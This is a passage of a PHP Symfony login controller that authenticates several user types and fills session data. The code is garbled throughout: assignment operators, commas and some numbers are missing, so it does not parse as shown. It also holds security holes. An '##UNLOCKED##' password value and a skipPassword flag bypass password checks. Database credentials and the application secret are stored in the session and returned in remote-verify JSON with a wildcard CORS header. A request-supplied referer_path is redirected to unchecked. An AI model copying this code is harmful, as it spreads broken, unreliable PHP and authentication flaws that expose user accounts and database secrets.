  2034.                                 if ($skipPassword == 1) {
  2035.                                 } else {
  2036.                                     $message "Wrong Email/Password";
  2037.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2038.                                         return new JsonResponse(array(
  2039.                                             'uid' => $session->get(UserConstants::USER_ID),
  2040.                                             'session' => $session,
  2041.                                             'success' => false,
  2042.                                             'errorStr' => $message,
  2043.                                             'session_data' => [],
  2044.                                         ));
  2045.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2046.                                         //                    return $response;
  2047.                                     }
  2048.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2049.                                         "message" => $message,
  2050.                                         'page_title' => "Login",
  2051.                                         'gocList' => $gocDataList,
  2052.                                         'gocId' => $gocId
  2053.                                     ));
  2054.                                 }
  2055.                             }
  2056.                             $jd = [$client->getCompanyId()];
  2057.                             if ($jd != null && $jd != '' && $jd != [])
  2058.                                 $company_id_list $jd;
  2059.                             else
  2060.                                 $company_id_list = [1];
  2061.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2062.                             foreach ($company_id_list as $c) {
  2063.                                 $company_name_list[$c] = $companyList[$c]['name'];
  2064.                                 $company_image_list[$c] = $companyList[$c]['image'];
  2065.                             }
  2066.                             $user $client;
  2067.                         }
  2068.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  2069.                         $em $this->getDoctrine()->getManager('company_group');
  2070.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  2071.                         if ($oAuthData) {
  2072.                             $oAuthEmail $oAuthData['email'];
  2073.                             $oAuthUniqueId $oAuthData['uniqueId'];
  2074.                             // Multi-email aware, injection-safe existence check. Replaces a
  2075.                             // hand-rolled comma-LIKE that both false-matched substrings
  2076.                             // (`LIKE '%email%'`) and interpolated the email straight into SQL.
  2077.                             $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthEmail);
  2078.                             if (!$user)
  2079.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  2080.                         } else {
  2081.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  2082.                             if (!$user)
  2083.                                 $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$email);
  2084.                             if (!$user)
  2085.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  2086.                         }
  2087.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  2088. //                        if($systemType=='_BUDDYBEE_')
  2089. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2090.                         if (!$user) {
  2091.                             $message "We could not find your username or email";
  2092.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2093.                                 return new JsonResponse(array(
  2094.                                     'uid' => $session->get(UserConstants::USER_ID),
  2095.                                     'session' => $session,
  2096.                                     'success' => false,
  2097.                                     'errorStr' => $message,
  2098.                                     'session_data' => [],
  2099.                                 ));
  2100.                             }
  2101.                             if ($systemType == '_BUDDYBEE_')
  2102.                                 return $this->redirectToRoute("applicant_login", [
  2103.                                     "message" => $message,
  2104.                                     "errorField" => 'username',
  2105.                                 ]);
  2106.                             else if ($systemType == '_CENTRAL_')
  2107.                                 return $this->redirectToRoute("central_login", [
  2108.                                     "message" => $message,
  2109.                                     "errorField" => 'username',
  2110.                                 ]);
  2111.                             else if ($systemType == '_SOPHIA_')
  2112.                                 return $this->redirectToRoute("sophia_login", [
  2113.                                     "message" => $message,
  2114.                                     "errorField" => 'username',
  2115.                                 ]);
  2116.                             else
  2117.                                 return $this->render($redirect_login_page_twig, array(
  2118.                                     "message" => $message,
  2119.                                     'page_title' => "Login",
  2120.                                     'gocList' => $gocDataList,
  2121.                                     'gocId' => $gocId
  2122.                                 ));
  2123.                         }
  2124.                         if ($user) {
  2125.                             if ($oAuthData) {
  2126.                                 // user passed
  2127.                             } else {
  2128.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2129.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2130. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2131. //                                        // user passed
  2132. //                                    } else {
  2133.                                     $message "Oops! Wrong Password";
  2134.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2135.                                         return new JsonResponse(array(
  2136.                                             'uid' => $session->get(UserConstants::USER_ID),
  2137.                                             'session' => $session,
  2138.                                             'success' => false,
  2139.                                             'errorStr' => $message,
  2140.                                             'session_data' => [],
  2141.                                         ));
  2142.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2143.                                         //                    return $response;
  2144.                                     }
  2145.                                     if ($systemType == '_BUDDYBEE_')
  2146.                                         return $this->redirectToRoute("applicant_login", [
  2147.                                             "message" => $message,
  2148.                                             "errorField" => 'password',
  2149.                                         ]);
  2150.                                     else if ($systemType == '_CENTRAL_')
  2151.                                         return $this->redirectToRoute("central_login", [
  2152.                                             "message" => $message,
  2153.                                             "errorField" => 'username',
  2154.                                         ]);
  2155.                                     else if ($systemType == '_SOPHIA_')
  2156.                                         return $this->redirectToRoute("sophia_login", [
  2157.                                             "message" => $message,
  2158.                                             "errorField" => 'username',
  2159.                                         ]);
  2160.                                     else
  2161.                                         return $this->render($redirect_login_page_twig, array(
  2162.                                             "message" => $message,
  2163.                                             'page_title' => "Login",
  2164.                                             'gocList' => $gocDataList,
  2165.                                             'gocId' => $gocId
  2166.                                         ));
  2167.                                 }
  2168.                             }
  2169.                         }
  2170.                         $jd = [];
  2171.                         if ($jd != null && $jd != '' && $jd != [])
  2172.                             $company_id_list $jd;
  2173.                         else
  2174.                             $company_id_list = [];
  2175. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2176. //                        foreach ($company_id_list as $c) {
  2177. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2178. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2179. //                        }
  2180.                     };
  2181.                 } else {
  2182.                     if ($cookieLogin == 1) {
  2183.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2184.                             array(
  2185.                                 'userId' => $userId
  2186.                             )
  2187.                         );
  2188.                     } else if ($encrypedLogin == 1) {
  2189.                         if (in_array($userType, [34]))
  2190.                             $specialLogin 1;
  2191.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2192.                             $user null;
  2193.                             if ($clientId 0) {
  2194.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2195.                                     array(
  2196.                                         'clientId' => $clientId
  2197.                                     )
  2198.                                 );
  2199.                             }
  2200.                             if (!$user) {
  2201.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2202.                                     array(
  2203.                                         'globalUserId' => $globalId
  2204.                                     )
  2205.                                 );
  2206.                             }
  2207. //
  2208.                             if ($user)
  2209.                                 $userId $user->getClientId();
  2210.                             $clientId $userId;
  2211.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2212.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2213.                                 array(
  2214.                                     'globalUserId' => $globalId
  2215.                                 )
  2216.                             );
  2217. //
  2218.                             if ($user)
  2219.                                 $userId $user->getSupplierId();
  2220.                             $supplierId $userId;
  2221.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2222. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2223. //                                array(
  2224. //                                    'globalId' => $globalId
  2225. //                                )
  2226. //                            );
  2227. //
  2228. //                            if($user)
  2229. //                                $userId=$user->getUserId();
  2230. //                            $applicantId = $userId;
  2231.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2232.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2233.                                 array(
  2234.                                     'globalId' => $globalId
  2235.                                 )
  2236.                             );
  2237.                             if ($user)
  2238.                                 $userId $user->getUserId();
  2239.                         }
  2240.                     } else {
  2241.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2242.                             array(
  2243.                                 'userName' => $request->request->get('username')
  2244.                             )
  2245.                         );
  2246.                     }
  2247.                     if (!$user) {
  2248.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2249.                             array(
  2250.                                 'email' => $request->request->get('username'),
  2251.                                 'userName' => [null'']
  2252.                             )
  2253.                         );
  2254.                         if (!$user) {
  2255.                             $message "Wrong User Name";
  2256.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2257.                                 return new JsonResponse(array(
  2258.                                     'uid' => $session->get(UserConstants::USER_ID),
  2259.                                     'session' => $session,
  2260.                                     'success' => false,
  2261.                                     'errorStr' => $message,
  2262.                                     'session_data' => [],
  2263.                                 ));
  2264.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2265.                                 //                    return $response;
  2266.                             }
  2267.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2268.                                 "message" => $message,
  2269.                                 'page_title' => "Login",
  2270.                                 'gocList' => $gocDataList,
  2271.                                 'gocId' => $gocId
  2272.                             ));
  2273.                         } else {
  2274.                             //add the email as username as failsafe
  2275.                             $user->setUserName($request->request->get('username'));
  2276.                             $em->flush();
  2277.                         }
  2278.                     }
  2279.                     if ($user) {
  2280.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2281.                             $message "Sorry, Your Account is Deactivated";
  2282.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2283.                                 return new JsonResponse(array(
  2284.                                     'uid' => $session->get(UserConstants::USER_ID),
  2285.                                     'session' => $session,
  2286.                                     'success' => false,
  2287.                                     'errorStr' => $message,
  2288.                                     'session_data' => [],
  2289.                                 ));
  2290.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2291.                                 //                    return $response;
  2292.                             }
  2293.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2294.                                 "message" => $message,
  2295.                                 'page_title' => "Login",
  2296.                                 'gocList' => $gocDataList,
  2297.                                 'gocId' => $gocId
  2298.                             ));
  2299.                         }
  2300.                     }
  2301.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2302.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2303.                         $message "Wrong Email/Password";
  2304.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2305.                             return new JsonResponse(array(
  2306.                                 'uid' => $session->get(UserConstants::USER_ID),
  2307.                                 'session' => $session,
  2308.                                 'success' => false,
  2309.                                 'errorStr' => $message,
  2310.                                 'session_data' => [],
  2311.                             ));
  2312.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2313.                             //                    return $response;
  2314.                         }
  2315.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2316.                             "message" => $message,
  2317.                             'page_title' => "Login",
  2318.                             'gocList' => $gocDataList,
  2319.                             'gocId' => $gocId
  2320.                         ));
  2321.                     }
  2322.                     $userType $user->getUserType();
  2323.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2324.                     if ($jd != null && $jd != '' && $jd != [])
  2325.                         $company_id_list $jd;
  2326.                     else
  2327.                         $company_id_list = [$user->getUserCompanyId()];
  2328.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2329.                     foreach ($company_id_list as $c) {
  2330.                         if (isset($companyList[$c])) {
  2331.                             $company_name_list[$c] = $companyList[$c]['name'];
  2332.                             $company_image_list[$c] = $companyList[$c]['image'];
  2333.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2334.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2335.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2336.                         }
  2337.                     }
  2338.                 }
  2339. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2340.                 if ($remember_me == 1)
  2341.                     $session->set('REMEMBERME'1);
  2342.                 else
  2343.                     $session->set('REMEMBERME'0);
  2344.                 $config = array(
  2345.                     'firstLogin' => $firstLogin,
  2346.                     'rememberMe' => $remember_me,
  2347.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2348.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2349.                     'applicationSecret' => $this->container->getParameter('secret'),
  2350.                     'gocId' => $gocId,
  2351.                     'appId' => $appIdFromUserName,
  2352.                     'gocDbName' => $gocDbName,
  2353.                     'gocDbUser' => $gocDbUser,
  2354.                     'gocDbHost' => $gocDbHost,
  2355.                     'gocDbPass' => $gocDbPass
  2356.                 );
  2357.                 $product_name_display_type 0;
  2358.                 if ($systemType != '_CENTRAL_') {
  2359.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2360.                         'name' => 'product_name_display_method'
  2361.                     ));
  2362.                     if ($product_name_display_settings)
  2363.                         $product_name_display_type $product_name_display_settings->getData();
  2364.                 }
  2365.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2366.                     $userCompanyId 1;
  2367.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2368.                     if (isset($companyList[$userCompanyId])) {
  2369.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2370.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2371.                         $company_locale $companyList[$userCompanyId]['locale'];
  2372.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2373.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2374.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2375.                     }
  2376.                     // General User
  2377.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2378.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2379.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2380.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2381.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2382.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2383.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2384.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2385.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2386.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2387.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2388.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2389.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2390.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2391.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2392.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2393.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2394.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2395.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2396.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2397.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2398.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2399.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2400.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2401.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2402.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2403.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2404.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2405.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2406.                     //                $PL=json_decode($user->getPositionIds(), true);
  2407.                     $route_list_array = [];
  2408.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2409.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2410.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2411.                     $loginID 0;
  2412.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2413.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2414.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2415.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2416.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2417.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2418.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2419.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2420.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2421.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2422.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2423.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2424.                         $session->set('remoteVerified'1);
  2425.                         $session_data = array(
  2426.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2427.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2428.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2429.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2430.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2431.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2432.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2433.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2434.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2435.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2436.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2437.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2438.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2439.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2440.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2441.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2442.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2443.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2444.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2445.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2446.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2447.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2448.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2449.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2450.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2451.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2452.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2453.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2454.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2455.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2456.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2457.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2458.                         );
  2459.                         $session_data $this->filterClientSessionData($session_data);
  2460.                         $response = new JsonResponse(array(
  2461.                             'uid' => $session->get(UserConstants::USER_ID),
  2462.                             'session' => $session,
  2463.                             'success' => true,
  2464.                             'session_data' => $session_data,
  2465.                         ));
  2466.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2467.                         return $response;
  2468.                     }
  2469.                     if ($request->request->has('referer_path')) {
  2470.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2471.                             return $this->redirect($request->request->get('referer_path'));
  2472.                         }
  2473.                     }
  2474.                     //                    if($request->request->has('gocId')
  2475.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2476.                     return $this->redirectToRoute("supplier_dashboard");
  2477.                     //                    else
  2478.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2479.                 } else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2480.                     // General User
  2481.                     $userCompanyId 1;
  2482.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2483.                     if (isset($companyList[$userCompanyId])) {
  2484.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2485.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2486.                         $company_locale $companyList[$userCompanyId]['locale'];
  2487.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2488.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2489.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2490.                     }
  2491.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2492.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2493.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2494.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2495.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2496.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2497.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2498.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2499.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2500.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2501.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2502.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2503.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2504.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2505.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2506.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2507.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2508.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2509.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2510.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2511.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2512.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2513.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2514.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2515.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2516.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2517.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2518.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2519.                     //                $PL=json_decode($user->getPositionIds(), true);
  2520.                     $route_list_array = [];
  2521.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2522.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2523.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2524.                     $loginID 0;
  2525.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2526.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2527.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2528.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2529.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2530.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2531.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2532.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2533.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2534.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2535.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2536.                     $session_data = array(
  2537.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2538.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2539.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2540.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2541.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2542.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2543.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2544.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2545.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2546.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2547.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2548.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2549.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2550.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2551.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2552.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2553.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2554.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2555.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2556.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2557.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2558.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2559.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2560.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2561.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2562.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2563.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2564.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2565.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2566.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2567.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2568.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2569.                     );
